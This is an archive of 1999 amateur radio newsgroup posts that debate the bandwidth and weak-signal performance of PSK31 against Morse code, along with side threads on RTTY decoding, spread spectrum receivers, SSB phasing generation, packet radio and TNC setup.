The relationship between bandwidth and throughput isn't as direct as you seem to imply. Essentially a BPSK signal without any reversals is a pure carrier wave with essentially no bandwidth. When you switch the phase, you introduce a discontinuity, which generates sidebands. The slower you switch the phase, the closer those sidebands are to the carrier frequency and the less bandwidth you occupy.

In the case of PSK31, they do cosine based pulse shaping to taper off the power before and after phase transition times, effectively 'smoothing' the discontinuities and preventing wide sidebands from forming. The wider the sine wave you use, the more that signal looks like a slowly amplitude modulated sine wave, and the fewer sidebands you generate.

You mentioned wanting to create a version of PSK31 that roughly equalled the 20wpm rate of typically sent Morse. I think you called this mode PSK50.
This seems incorrect. The 31 in PSK31 applies to the baud rate, and almost equivalently, the bandwidth used. If you set the baud rate down 20wpm level,
20wpm = 100cpm = 5/3 cps = 32.5/3 bps or roughly 11 bps. The mode should be called PSK11.

Given the pulse shaping of PSK, you'd expect the bandwidth of PSK11 to be slightly over 11 Hz, or less than 1/3 of that of a similar 20wpm Morse signal.
Since the Morse signal occupies 3x the bandwidth, and uses roughly the same power (Morse has an intermittent duty cycle, but BPSK has a similar reduction in power due to pulse shaping) using PSK31 by itself in a 11

hz channel gives you an effective 3x boost in power relative to Morse over noise.

This is independant of course of the modulation itself: Morse operators typically require Eb/N0 of 23db, which is at least 10db over achievable levels which can be decoded with uncoded BPSK. Combined, these two give a gain of over 14db, even without considering FEC.

Of course, you have to give the caveats: the noise is AWGN, accurate tuning, etc...

Now, I get to what I don't understand about your posting. What's all this about repeating things 10x? That's not what you want to do! :-) Repeating everything 10x and voting might be super-reliable, but there are certainly other means of achieving the same error rates with much less data being passed.

: Secondly,
: Does anybody know what RTTY transmissions can be received in New
: Zealand?
: I am searching, in particular, for access to AFTN data.

I do not know what you mean with that 'what RTTY transmissions'. But I
think most of the RTTY transmissions of the world can be heard in NZ, too.

Ham RTTY has mostly frequency shift of 170 Hz and that's an easy one.

But if you are looking for commercial transmissions like news agencies,
diplomacy, and so, things are much more complicated. They use a shift
of 425, 850, and 1700 Hz, and the polarity of the signal can be whichever.

Remember the polarity (which one, mark or space, is upper in frequency) is
important as well as frequency shift. Besides these things, there's
signals encrypted with different methods, and they can be real challenges,
if you'd like to read them.

Baud rates used in the world are mostly 45 (ham), 50, 75, and 110 baud.
Wrong baud rate makes reading of a RTTY-signal completely impossible.

All in all, to be able to read a RTTY -signal you must have got right at
least these things (assuming your RTTY -decoder works as it should):

1. Frequency
2. Frequency shift
3. Shift polarity
4. Baud rate

I didn't want to get into this thread but here I am anyway. I guess I can't resist putting in my two cents. Once you talk about BANDWIDTH you must realize that any receiving system reqires IF transformers and or filters which can open a window to that bandwidth. Although the signal to noise ratio requires that the signal fit the received bandwidth filter window; In the real world, that filter window is never exactly a rectangle. There is usually a poly-pole filter required. The skirts can never be straight...Which means for example that the bandwidth at the 3db down point must be smaller than the bandwidth at the 30 db down point. The bandwidth can be mathematically calculated using Chebishev filter equations, if the loaded Q of the filtering elements are known...or vice versa. In a poly-pole filter there is always a ripple on the top of the bandpass. The ripple is determined by the skirt selectivity and can not be designated without making the Chebishev filter equasion over-determined. Ripple values greater than one db are common for sharp skirt filtering. Now what has this got to do with the subject at hand?...you may ask! Let me make an analogy by comparing it to sending your voice down a hollow pipe. If the pipe is narrow it can't pass all of the audio freqs and your voice gets distorted but may still be understood or may not. If your pipe is very wide it does not offer as much seperation of your voice from other background noises. The pipe is in effect like a resonating musical instrument. Now the receiver that can best be selective to a Morse signal of a paticular speed may or may not also be as selective to a signal that has a different data rate, etc. A Morse signal may have certain characteristics such as the ones that cause "key clicks" etc which are usually considered objectionable, but which also can be a factor in separating it from the Gausian noise or can make it audible...Now when you talk about the weakest signal that can be copied in the noise you must realize that even the filter ripple , which may be 0.5 to 4 db depending on the filter design (determined by IF transformers, crystals, mechanical filters, ceramic filters or whatever) can be a determining factor. That is why some musical instruments sound sweeter to the human ear and why some receivers can sound better when receiving weak Morse signals than others do, even when they all test with the same sensitivity and selectivity by standard testing methods. It is very likely that what ever experiences one might have comparing the ability of a receiver to copy Morse or digital signals at differing data rates is more complex than a simple bandwidth requirment...BANDWIDTH at how many db down? Once a Morse signal is converted to audio we then get involved with human hearing factors...which can add another ball of wax. Audio (either analog or digital) filters can be added which are not the same as the digital filtering that digital data receivers may use. Remember every receiver design may have a different type of filtering and thus different SKIRT SELECTIVITY and DIFFERENT filter peak ripple. If AGC is used this gets even more complex as it can change the

bandwidtyh response due to changing the filters loaded Q! When I discuss subjects such as this I do not say that the real world is not what the math tells us it should be...Nope.. Only that you must understand ALL of the math that gets involved...BANDWIDTH must be considered as a complex term...It must be modified to include intelligent useful bandwidth (which may or may not include the spectrums generated by artifax) It must also take into consideration the shape of any filter windows...skirt selectivity and ripple. Communication theory equations that have bandwidth as a factor are purely theoretical and only a starting point for the design engineer. That does not say that they are incorrect...only that they are incomplete. Another factor is stability...we must understand also that if a signasl is to remain centered as desired in a window we must use stable oscillators both in the receiver and transmitter. This is now possible due to phase locked frequency synthesis but remains an important design consideration and must not be neglected. Enough said....but knowing that varying factors exist...I would rather say that all of you posters are absolutely correct in your observations and applications of Hartley and Shannon because you could be looking through different bandwidth windows. People with who receive with bandwidth windows shouldn't throw stones. I never met a ham I didn't like, PLEASE keep thinking, Hams need more classes, Bob Wex w2ilp (Intelligence limiting Poles) -- .- -..- .. --
---------- The importance of probabilistic concepts in the analysis of communication systems can not be overemphasized. --Herbert Taub & Donald L. Schilling-- IMHO Hams who experiment are PROBABLY more capable of deteriming which communication systems are "probably" better because they have generated more different signals and more noise for a longer time than any other communicators have. --w2ilp--

Dick, what percentage of the answer do you think is because PSK31
is designed four times closer to Shannon's limit than is CW?

Hi Mark, I thought it was called PSK31 because it was 31Hz bandwidth.
It is said to be equivalent to 50wpm Morse code which to my understanding
is about 50/1.2 = 42 baud = 42bps?. Please straighten me out on this.

But, anyway, you see my quandry. I want a PSK mode that has a bandwidth of
50Hz like 20wpm CW and also runs at 20wpm like 20wpm CW. You can see the
problem so that's why I suggested sending the same character multiple times
to cut the wpm back down to 20wpm. What do you suggest for a PSK mode that
is 50Hz wide and runs at 20wpm?

Now that I think about it, seems I could use multiple cycles of a 50Hz
audio signal for each *bit* to cut the wpm rate down to 20wpm.

Also, all my knowledge of digital modes apply at audio frequencies.
There has to be some additional effects when the audio is used to
modulate an RF signal but I'm having trouble locating any information
on the subject. Can anyone recommend a good RF modem book?

I don't suppose, in all the excitement about Shannon, anyone ever
suggested the obvious: propagation-induced phase distortion. OOK
Morse is relatively impervious to this, since it is an AM mode
rather than a PM mode.

Source record: 19188

Ben, there are two flavors of Spread Spectrum (or Code Division Multiple Access -- CDMA), and the answer is different for each.

Frequency Hopping is a "narrowband" modulation mode but the carrier frequency is rapidly "hopped" around the allocated spectrum in a "pseudorandom" (looks random but is known to both the transmitter and receiver) sequence. Thus the receiver must be able to change frequency very rapidly, but the IF bandwidth required is only that required to decode the modulation.

Direct Sequence CDMA also involves a "pseudorandom" sequence, but the that bit pattern is directly modulated onto the carrier and actually spreads the spectrum over a wide range. Many signals can occupy the same bandwidth, provided thay don't use the same sequence, and that they are similar in amplitude at the receiver. In this case, the receiver RF/IF must be at least as wide as the spread signal. In the case of CDMA cellular, the bandwidth is 1.25 MHz. Next generation cellular proposals are looking at more like 5 MHz bandwidth. What makes this feasible, of course, is the availability of very fast, inexpensive DSPs to handle the complex chore of correlating the recieved signals against the desired pseudorandom sequnece.

I saw a supplier for that jack on a VX-1 page. I think if you search for
VX-1 mods and look for a page calling it'self "The Unofficial VX-1 Page"
or something like that, you will find a supplier for that item.

Oh yes, Hans ...We can not ignore you here...nor the ANL [Automatic Noise CLIPPING]! Applied properly ANL can eliminate static noise spikes...Applied incorrectly it can eliminate intelligent signals, unless they are otherwise integrated. ANL that is level controlled by AGC is not practical at maximum CW sensitivity. Fixed ANL must be limited to high levels for most digital data reception. You used lots of clipping in that message, Hans! I never met a Hans I didn't like, 73, --Bob Wex w2ilp (Ignore Limiting Passbands?]-- --

From: nexussix@engrs.unl.edu
Message-ID: <7bjlrh$423@crcnis3.unl.edu>
Source record: 19191

So the RF section for both of these radios is very different? For a spread-spectrum receiver for direct sequence a given BW is used depending on the system right?

Is there anyway to use a conventional receiver as the front end to a Spread Spectrum receiving system?

OK, Cecil.....It's been a long, tortuous process - maybe
something like pulling teeth, but it looks like we've
finally pretty well got the full story out of you. :-)

I'm a bit more battered and bruised than anticipated, but
that's OK. I'm tough enough to take it. Such is the price of
progress.

Maybe someone at ARRL will take all this and work up an
article for QST or maybe even a chapter for the Handbook so
that in the future it won't be so difficult to work out the
kinks.

I apologize for prodding you so hard. That seems to be the
only way to extract information from some of you geniuses.
:-} Too bad none of this information has beeen widely
avaiable to many of us hams who aren't also math majors and
who aren't closely proximated to engineering schools etc.
I'll soon see what I can come up with on the www now that I
might have the time--as you know it's been busy here on
rrap. I'm laid up with a badly sprained ankle so the
opportunity is right.

One thing you can be sure of---I'm not the only ham reading
here who has learned about this subject. I'm sure there are
plenty of others wo have tuned in.

Not ragging, Cecil, rather looking for solutions for my
puzzlement. Much has been made of the weaksignal "too weak
to hear" capabilities of the advanced digital modes. I DID
expect PSK31 to do better here. You've explained why it did
not.

Actually, me too. I had my hearing checked not long ago and
it takes a 3db dive above about 1850hz. No doubt the result
of lots of time spent in very noisy environments as a young
fella working with heavy equipment and on the Army rifle
range in the 30.06 days.

It doesn't affect things at the CW copying frequencies
though. :-)

It seems to me in all the excitement that everyone has neglected to consider that the ID isn't sent by OOK with the rig in CW mode. Cecil's bandwidth
calculations are all based on the assumption that it is. You're right that it is AM, but the tone is not generated by offsetting a receiver from the carrier, it is generated by modulating a suppressed carrier single sideband transmitter with an audio tone - similar to the way the PSK audio tone is generated. Isn't it?

The effect is the same, just as FSK modes are typically sent by feeding
audio into an SSB transmitter. I can't keep all the silly mode
emissions
correct, but basically if you feed an audio signal with frequency
f_audio
into an SSB transmitter on frequency f_carrier, it generates two side
bands,
at f_carrier + f_audio and f_carrier - f_audio, one of which is zapped
by
either filtering, or never generated at all in a phasing transmitter.
The
result the same as just keying an oscillator on and off at the sideband
frequency.

I doubt that is the source of any inaccuracy.

Jim, I'm rather sure that that the PSK31 CWID is generated
by switching from a PSK form of modulation to keying a
single tone - just as most all SSB capable transmitters
generate CW signals. I'm also rather sure the power output
doesn't change in the process.

http://www.kender.es/~edu/article/psk31theory.html states that PSK31 is a 31 baud mode. Since BPSK sends 1 bit per baud, that means it sends 31 bits per second, or at about 6.5 bits per Varicode character, that works out to 4.75 characters per second, or about 285 cpm, which is about 47.5 words per minute (assuming a six letter word like PARIS + space).

Pulse shaping confines most of the energy into a primary lobe which has a total width approximately equal to the baud rate. That's what give you the 31 as the bandwidth. The baud rate is directly proportional to the bandwidth. As the speed of signalling drops, you take less and less bandwidth.

> But, anyway, you see my quandry. I want a PSK mode that has a bandwidth of
> 50Hz like 20wpm CW and also runs at 20wpm like 20wpm CW. You can see the
> problem so that's why I suggested sending the same character multiple times
> to cut the wpm back down to 20wpm. What do you suggest for a PSK mode that
> is 50Hz wide and runs at 20wpm?

The obvious thing transmit bits at 50 baud, and use the excess bits to gain even more advantage via error correcting. Karn's webpage says that a rate 1/2 convolutional code can be used to transmit BPSK with only a 3-4db Eb/N0. That's about 6db down from uncoded BPSK, and a full 20db or so down over an OOK channel.

On to the math: if we use BPSK, our 50 baud channel sends 50 bps. Half of these will be generated by the convolution encoder, the others are our data bits. We are then sending 25bps of _our_ data, or about 3.84 CPS. Multiply that out in the way we did before, and we obtain a datarate of 38WPM. This

is basically the difference between the modulation schemes: OOK does not make good use of the bandwidth available to it to encode bits. BPSK does a much better job. In the same bandwidth, BPSK sends twice as much data and decode it at 20db weaker signal levels than Morse. Alternatively, we could send 4x as much data in the same bandwidth, and decode it at 13-14db weaker than OOK Morse.

You could further reduce the user datarate and gain even more from error correcting, but you are up against diminishing returns.

All the usual caveats apply: this is only versus AWGN, no phase distortion, multipath, and the like. It also assumes you have sufficient dynamic range: implementing this stuff with 16 bit (more likely 10-12 honest bit) A/D converters and the like may cause some problems without careful gain control.

> Now that I think about it, seems I could use multiple cycles of a 50Hz

I've got McDermott's book published by TAPR, and while I think it glosses over too much, it isn't bad. I'm contemplating putting up some stuff on my webpage on this stuff, mostly to organize my own thinking and to run some experiments. I'll post when I have something for people to see.

I'm not sure what you're getting at, Jim. Modulating an SSB transmitter
with a single-frequency sine wave is not, in theory, different than
keying a carrier on and off. In practice, the purity of the sine
wave and opposite-sideband suppression are issues, but, functionally
speaking, these influences are likely quite small.

The Morse ID produced by PSK31SBW is sent right around 17WPM, using
soft keying (about 50% of a baud is spent in rise/fall time). I
determined this by sampling the output of a computer running PSK31SBW
with another computer. Note that the on-the-air signal may differ
depending on how well the transmitting station is adjusted.

Overall, though, I don't believe these differences are particularly
relevant in this context.

Hi

Just a warning : the packet radio firmware in this transceiver is n o t compatible with DAMA . Here in Europe at least in Germany you can not use it to connect to a digipeater because of this mode lacking. There was an announcement by Kenwood Europe that you can return the unit and get your money back.
Maybe you are not using DAMA at all over there .

I'm having trouble finding information on the subject. Isn't
PSK31 an AM mode? Isn't the modulation on the RF signal AM?
Isn't the phase shift accomplished only in the audio signal?

Well, it's obvious that CW is of the family of AM modes, modulated
by a rounded-edged square wave, such that the base sine wave frequency
exists along with the third harmonic and usually the fifth harmonic.
Fourier analysis will show no conceptual difference between OOK and
AM except for the modulating frequencies.

However, it is apparent that phase processing at ham RF frequencies
is not possible with a PC. Seems to me that the SSB BFO is beating
against the received signal to recover the AUDIO phase shift out
of the product detector. IMO, we cannot possibly be depending on
RF phase shifts for the operation of PSK31.

Which tells me that the CW narrow filter can be used on PSK31 by
using VFO A for receiving and VFO B for transmitting.

I was under the impression from your previous posts Dick, that you could not HEAR the PSK signal, but could hear the CW ID. What I'm getting now is that you may have been able to hear both, and you copied the ID but your computer did not print the data. Is that it?

I wonder if you could still have copied the ID as easily and reliably under those conditions if it had been sent at 50 WPM? ;-)

Well, we know that the PSK31 specifications are tighter than the CW specifications. PSK31 is four times closer to the Shannon limit than is 20wpm CW. IMO, that is the *main* reason that CW outperforms PSK31. Manual CW certainly has an advantage because of the human operator, everything else being equal. But, in our case, everything else is not equal. I suspect that the same PC that is copying PSK31 could copy the CW ID better than the PSK31 signal by opening up the filters and oversampling. At least, that is what the theory predicts. I would estimate that a human has a 6dB-10dB advantage over a machine. Anything more than that, IMO, must be explained otherwise.

James W. KELLEY wrote:
> Did you happen to use the same
> method for computing the bandwidth of the PSK data as you did for the ID?

Nope, I'm taking Peter's word for it that it occupies 31Hz. For CW, I'm assuming Jim's factor of 1.2 between wpm and baud rate. I'm also choosing to include only the 3rd harmonic for CW which makes CW difficult to copy but gives it the advantage in the calculations. So I multiply the wpm by 2.5 to get the CW bandwidth. It's an approximation, but it is in the ballpark. If one includes the 5th harmonic, the multiplier is 4.2 which puts CW even farther away from the Shannon limit.

> Or are you trying to explain what Dick heard, or are you simply comparing
> OOK CW with PSK31?

Both. Theory predicts that CW will have the equivalent of a 12dB power advantage over PSK31 because PSK31 is operating so much closer to the Shannon limit.

> So then if PSK and the ID are not sent in SSB (as I had guessed in the
> text you deleted), what mode is the rig set for?

The modulation system seems to be the same for both modes. So I have ignored the RF aspect (through ignorance more than anything else). Everything I have said applies to comparing these two modes over a conditioned telephone line. I really don't know how to compare them any other way (ignorance on my part). I'm hoping someone else will explain the HF RF aspect. But I think *RF phase* doesn't matter much for both modes.

But isn't the bandwidth of a OOK CW signal related to the bit rate, and the bandwidth of an AM signal related to the modulating frequency? I'm not sure what the modulating frequency is in PSK, but I assume it's several hundred Hz. Point is, PSK doesn't use OOK CW for the ID. I believe it uses SSB MCW. The comparisons we've been seeing thus far have been between PSK and OOK CW - not between PSK and ASK.

Thanks Mark and 73,

Yes, Frequency hopping and direct sequence CDMA the receivers are very different.

For DS-CDMA, the bandwidth is determined by the rate of the pseudorandom code ("chip rate") and the modulation used. For cellular CDMA, the chip rate is ~1.228 MHz and psk modulation is used. The resulting occupied bandwidth is 1.25 MHz. The code is sometimes referred to as "psuedonoise" (PN), and the codes used are commonly Walsh codes, which are orthogonal (zero correlation with each other, at any phase). Your information signal (at a much slower rate) is modulated on top of it (e.g. by phase reversal using an XOR function).

You could possibly use whatever portion of the receiver is at least as wide as the channel, though the frequency and phase response in the passband could cause problems if not pretty flat. As for using an existing receiver, unless you're talking about something like a TV video IF strip, you probably won't be able to use much past the mixer.

While I didn't actually verify it, I'm pretty sure the Morse
ID audio is generated at the same peak-envelope value as the
PSK. Depending on how someone is set up, there may be some
interaction with transmitter ALC that changes the overall
transmitter level, but I doubt it could be more than a few
dB.

PSK31 relies exactly on RF phase shift (that's all there is at the RF frequency), hence some of the "interesting" propagation characteristics reported. It's generated at audio frquencies as a phase-modulated tone and mixed to the RF frequency in the balanced modulator. Amplitude modulation (cosine shaping) is added to reduce bandwidth, but carries no intelligence. Each RF pulse is one phase or its inverse. Basically, the balanced modulator is multiplying the RF carrier by a positive vs. a negative number. On the RF channel, we have a carrier, whose phase takes one of two (four for QPSK) values, and which is Amplitude Modulated such that the phase transitions take place when the amplitude is zero. A 180 degree phase shift at RF produces a 180 degree phase shift in the audio out of the product detector.

What happens at RF is precisely what happens at Audio -- the balanced modulator / product detector simply mixes it up / down in frequency. A 180 degree phase shift at RF does indeed invert the received symbol. If we could perform the processing at the RF frequency, the algorithm would be exactly the same.

Forgive my ignorance - I'm an audio type guy. Do we maintain one
phase of the RF for one bit time and reverse it if necessary for
the next bit time? Can you explain how we control the phase of
the RF with asychronous audio? SSB is a subset of AM and we are
generating SSB with an audio signal. We can even recover the
SSB audio modulation with a BFO and a diode. Wouldn't reversing
the phase of an RF signal generate considerable RF harmonics?

Very well expressed, Don. At least this has been a civil, if a bit painful discussion, between two very different points of view. As an exgineer, I understand what Cecil has been explaining, and I believe that he may have gotten his point across to a CW operator who at first had some difficulty understanding that the comparison at the same power level (but with bandwidth and throughput favoring CW) was not scientifically fair.

As a long time CW operator, I am a bit sick at witnessing the demise of the mode. Apart from nostalgia, it is really satisfying to work the mode at a decent level of proficiency, and it is still the most cost effective way to get on the air. Cecil, as an RF receiver and modem guy, I find that the "audio line" arguments are fairly applicable to a radio link. It is absolutely true and demonstrable that PSK optimized for 20 WPM throughput will beat 20 WPM CW (by a small but usefull margin), with suitably well designed equipment -- filtering and dynamic range, but we surely got a lot of bang for the buck with CW! The requirement for a skilled operator does not count for much these days, so CW will lose, alas. 73 de W1AEL (since 1954) Allan.

Hi, Allen,

I am not at all convinced that there is any demise at all. After all, you and I still operate CW, so the mode is here to stay. The satisfaction of the "manual" aspect of CW will keep drawing new folks to the mode. The cost-effectiveness of getting on the air with CW will keep drawing new folks to the mode. It is NOT the testing, but the other factors that have kept CW alive and well for decades; I see no reason that changes in testing should change the REAL aspects of OOK CW operating.

> The requirement for a skilled operator does not count for much these days,
> so CW will lose, alas. 73 de W1AEL (since 1954) Allan.

Will it really lose, or just change. Do you operate CW because you think it is more effective than other modes or because you enjoy it? I can speak for myself -- I enjoy it. Sure, some will gravitate toward other modes, but that is because they are there and they enjoy a different challenge. As soon as I get that Round Tuit, I have to buy a better sound card for my old PC and do some PSK31 to see if I can squeeze out a few more dB for my QRP station. A different challenge, but that does NOT mean that my long-time love of OOK CW will be instantly cast aside. A new mode does NOT negate anything that makes CW important to ME!

All in all, the current changes in ham radio will have the effect that WE ALL make it have. The effects can be positive, if we operate in an environment in which each operating mode is equally avaialble to all, and will be chosen on the basis of a combination of performance, challenge and enjoyment. I personally welcome the changes of adding new modes to ham radio, and seeing hams undertake new technical challenges. When hams really sink thier teeth into modes such as spread spectrum, I think that those who say that hams are not able to make significant technical innovations will be eating at least a few of those words. Our alternative is to go on emphasizing our differences and building them into downright distrust and hatred -- we have had enough of that already. I am ready to accept our differences, and to recognize that our differences are part what makes us complete. I am also ready to

seek the things we have in common as the solution to allowing us to be one community in spite of those differences.

Of course, it is now all in the hands of the FCC. I for one, will accept the decision and go back to feeling that, underneath our differences, we all have one thing in common -- those call letters associated with our names make us all hams. There will be changes in the future, I am sure, and Amateur Radio will survive them if we never lose track of what drew us to ham radio in the first place. The day I decided I wanted to be a ham, I didn't know Morse code at all; it was just a test to be passed. It is something that grew on me. If it wasn't something that was important at the very beginning, maybe that tells us that the REAL importance of ham radio is found somewhere else. Now, all we gotta' do is figure out how to put it into words, and we will have something. :-)

I don't think you can even do it with a spectrum analyzer
if you are at the receiving end. Ideally, both result in
identical RF signals.

Don't worry, Allan. One of my projects during retirement will be to
use one of the better digital codes for the actual RF transmission, but
to do a Morse code translation process on each end so you and I can
continue to enjoy enhanced, single-tone, Morse code. How does that
sound?

Source record: 19225

I realize this is a bit counter-intuitive, but I'll try my best to work through it logically. An AM signal is a carrier plus two sidebands. Let's take the case of a 1 kHz audio tone. The output from an AM modulator is a constant carrier plus two sidebands at fc-1kHz and fc+1kHz. These three frequencies are present constantly -- and at a constant amplitude. The result of these frequencies instantaneously adding and cancelling produces the "appearance" of an amplitude modulated carrier signal.

Now I shift the phase of the modulating audio. The carrier doesn't change, and the frequency and amplitude of the sidebands doesn't change. Only the phase of the sidebands changes. Run thru the equations and the phase of the upper sideband (in our case, the transmitted PSK signal) shifts directly with the phase of the modulating signal. If I shift the modulating audio signal +10 degrees, the phase of the upper sideband shifts +10 degrees. [By the way, the phase of the lower sideband shifts -10 degrees, which of course results in our QPSK "sideband" problem with rigs with the sideband selection tied to the bandswitch. Since BPSK uses a 180 degree shift, and plus 180 is indistinguishable from minus 180, it's a "don't care."]

I don't have time now to enter the equations (lots of subscripts and Greek characters), but will if there's a demand. It's on page 15.5 of the '99 ARRL handbook, and I'm sure in any book on modulation ever written.

>between PSK and OOK CW - not between PSK and ASK.

If you put a pure audio tone into a SSB transmitter, it produces a single
RF "tone" at a corresponding offset from the (suppressed) carrier.

If the envelope of that pure audio tone is ramped up and down like
the keying envelope of an OOK transmitter, the result will be virtually
the same. (assuming the carrier is well suppressed and the tone is
a pure sine wave, not distorted).

In this sense, generating "CW" by use of a keyed audio tone
in a SSB transmitter, the "modulating frequency" should be
viewed not as the audio tone, which is merely translated to RF
as a "CW carrier," but the keying frequency. Thus the sidebands
produced (and hence the bandwidth) of the keyed audio tone
will be essentially identical to an RF carrier OOK'd with the
same keying shaping factor.

As was stated above, this is analogous to the way that using
AFSK through a SSB transmitter is the same as using direct
FSK of the carrier. (as far as the spectrum produced, that is,
assuming well-adjusted gear with good carrier and undesired
sideband suppression and minimal distortion).

From: Al Waschka <awaschka@palmnet.net>
Message-ID: <36DE0AD5.414F9CC4@palmnet.net>
Source record: 19229

Thanks for looking.

Our local Packet Cluster has begun experiencing a problem where it will log stations off for no apparent reason. I have captured some traffic which indicates that the cluster is perhaps timing out T1 before actually listening for a reply. It appears that when it sends to packets to a group of stations sequentially, sometimes as soon as 1 second after the last transmission to a station it sends a RR packet with Poll set, which seems to indicate a T1 timeout. Can anyone provide some recommendations for protocol settings (p-persistent vs. TAPR), and appropriate parameters (persist, slottime or frack retries, etc) for use by both the cluster (server) and users (clients)? Increasing frack and retries seemed to help, but may impact operations when the frequency is busy.

Thanks,

Al K5TAN

I just picked up an Icom R-70 hf receiver & will probably want to upgrade the stock filters to data/ssb types for utility monitoring,specificaly digital trans{not interested in voice trans}.

Anyway I'm quickly realizing that there are ALOT of Icom filter types available! :)

Does anyone know if there's a site or book that will tell me exactly which filters are compatable for the R70?Also can anyone advise who sells decent crystal/mech filters for hf radios?I see alot of info about the R71a but not a'whole lot about the R70.

Any help would be appreciated. Thanks for reading this "plea". :)

: phase modulating a transmitter via the RF chain. :-)

: Dick C

The sound card is sent a digital data stream by the PSK program that causes a 180 deg phase shift in the audio output at the proper times to generate the varicode. The audio signal produced is sent to the Tx's Mic connector etc.

I haven't done it yet but I'm sure if you connect a scope to the mic audio line (or just use the output of the sound card) you could see the 1 kHz audio signal changing phase while sending CQ. If you do it with a Lissajous display it should be very noticable.

1377. how to get my TNC running in Linux ?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-04 00:00:00 UTC
From: Avon <avon@callnetuk.com>
Message-ID: <36DEEB2B.1C6B2072@callnetuk.com>
Source record: 19101

Hello,

I am having difficulty getting my TNC (Paccomm) TNC320 working under
RedHat Linux,
I am presently using 'seyon' but it does'nt store my preferences, and i
would rather use minicom,
hopefully, the screens wont screw-up when that awful 7plus scrolls
down the screen too.

How to ' install ' my TNC ? it was COM2 under Win/DOS,
but now cua1 in Linux, but in the kernal boot-up it sats ttys1 or
something ?
i installed the modem fine (using it now) but how to install another
one TNC ?

I set the TNC up as PPP1 un netcfg (under x) and start it boot-time,
but i dont think this is the right way at all, but it _works_.

Can anyone advise please ?

e-mails especia;;y welcome !!

Thanks .. Mark..

Well, it would, but PSK31's cosine shaping arranges that the amplitude of
the RF signal is 0 at the point that the phase changes.

G3PLX's RADCOM article is highly informative, covering this and more. Those
of us who aren't RSGB members can read it at

Just a minor clarification. It will generate sidebands, not RF harmonics.
It's like two CW transmitters being alternately turned on and off with zero
rise and fall time. Major "key clicks."

>Quite right.

I see. Slight mix-up in nomenclature. I thought the term I used, OOK CW, generally applied to keying RF on and off, as in 1A1. Evidently it also applies ASK modulated SSB - which I have been amply reminded has the same spectral signature as 1A1. ;-) The difference being only that the power output for the latter depends on the amount of modulation. That was my original claim, and is something that was overlooked in the discussion of bandwidth. Although bandwidth would seem to dominate, by a factor of 3 or 4.

You'd need to find a reference trigger that is syncronous but doesn't shift phase in order to see the phase shift on a scope.

Well, Ed and group, I hope you are right about CW being its own reward.
I am a bit pessimistic about that, tho many of we "mature" hams will
stay the course. Given some accommodation with the international
treaty requirements, CW proficiency testing will go away, and then we'll
see how th mode does. I love CW, but I know we can design signals that
will use bandwidth and power more efficiently. They will be more
expensive to implement, and more complicated to troubleshoot, but we
must give up the old myths, while we enjoy our mode. 73 de W1AEL.

I didn't ask my question very well, Don. Try #2: Wouldn't shifting
the RF phase every RF cycle result in the generation of harmonics?
(Question has nothing to do with PSK31.)

Hmmm, so if I build a direct conversion receiver with a bandwidth of,
say, 5 MHz, I'll be able to copy CW at 50 dB below the noise... boy,
what a CW op *I* am!

:-)

Yes, lots of harmonics. This is a really wierd case. Essentially it's PSK with the modulating frequency the same as the RF carrier frequency. You would also generate subharmonics. The period of the new signal (time between repeated identical waveforms) would be twice the period of the original carrier -- the new "fundamental" frequency would be half that of the carrier.

Not exactly ... as I explained in a previous post, the PSK signal
is generated as an audio tone by the sound card ... the phase
of that audio tone is shifted, after shaping by a cosine filter to
assure that the signal is at zero amplitude when the phase shift
takes place.

That PSK'd audio tone is merely translated to some RF
frequency by a SSB transmitter. The same result could
be obtained by modulating a balanced modulator with
cosine-shaped baseband data pulses, but it's convenient
to let the sound card do all the DSP.

> Agreed. Phaseshifted audio into the transmitter, phase
>shifted audio out of the receiver means all the phase
>shifted RF in the communications circuit is mixing products.

The audio which is fed to the SSB modulator is, in effect
a single tone, which without the PSK would produce a
"CW carrier" (offset from the supressed carrier by the
audio tone frequency).

> I've worked stations that have bad IMD distortion products
>indicated by sidebands that show up on both sides of the
>signal on the tuning scope.

To have IM products, there must be at least two tones
to mix ... the PSK "carrier" is conceptually a single
tone whose phase is reversed to signal "1" or "0".

They were common in the early days, before high quality crystal filters were available at reasonable cost. I used one back in my college days -- it was a bear to keep adjusted (or maybe it was just that everybody kept fooling with them???).

The principle is that two balanced modulators are used, followed by a combiner. The inputs to one balanced modulator (both audio and carrier) are shifted in phase by 90 degrees. The resulting DSB outputs from the two balanced modulators are in-phase for one sideband and 180 degrees out of phase for the other. Thus when they are combined, one sideband adds while the other cancels. To switch to the other sideband, one (not both) of the inputs is swapped between the two balanced modulators.

The '99 ARRL handbook has a description in chapter 12 (Modulation Sources). In the '93 handbook it was in chapter 18 (Voice Communications).

No. It only works with one band at a time.

>* If I don't use the built-in TNC, is it still possible to do 9k6, using
> an external TNC (or soundmodem) and the mic/headphone interface?

No. The jacks aren't pre-discriminator. I suppose if you can figure out
where to tap in directly on the board, it'll work, but I certainly wouldn't
want to try it. No 9600 through the headphone/mic jacks, though.

>* If I don't use the built-in TNC, will cross-band duplex work?

Um, if I understand what you mean right, yes.. Just as it would with any
other radio (modified for a 9600 interface). Not much point in paying for
the TNC in the TH-D7, though...

1393. Anyone for Coquelet?

Hi,
I have recently been given the technical details for the
Belgian MFSK mode Coquelet, which transmits each
CCITT No. 2 character as a sequential pair of tones.

It was developed during the 50's and was way ahead
of its time. We can now replicate it with DSP.

I would LOVE to try it on the air, to compare it with
other more modern modes. Is anybody willing to code the
Motorola EVM for me? I can do the PC User Interface
(for DOS) if necessary.

Alternatively, a sound card program would be good too.
Coquelet is a great application for DSP, since it
requires 12 concurrent bandpass filters (maybe these
days an FFT solution would be better).

Anyone got more information or original manuals on
Coquelet?

Any DSP programming volunteers? I'll do all the translation
from the original French!

Well, I've started a webpage on psk31, concentrating mostly on how to actually write a psk31 modulator and demodulator. I've got a first cut at a modulator on the page now, which generates what I hope is actually compatible with PSK31. It's a straightforward ANSI C program that merely writes raw 16 bit samples out. It does pulse shaping and encodes the input as varicode symbols. It also generates a full second of zeros (phase reversals) as both a preamble and a postamble. I converted the output of this program to a standard .wav file, so you can listen to see if it sounds like BPSK to you :-).

Over the next day or two, I'll probably make a first cut at making a simple demodulator, and add an option to the encoder to add noise. Then we can try to do some systematic BER testing, and see what's what.

I've also got a similar program lying around that encodes text files as Morse. It might be fun to produce noisy Morse signals and have expert Morse-o-philes see how well into the noise they can get. :-)

If anyone thinks of cool things they'd like to see on this page, pen me an email and I'll see what I can do.

Oh, you might want the url:
http://www.idle.com/~markv/psk31.html

Enjoy!

> I'm having trouble finding information on the subject. Isn't
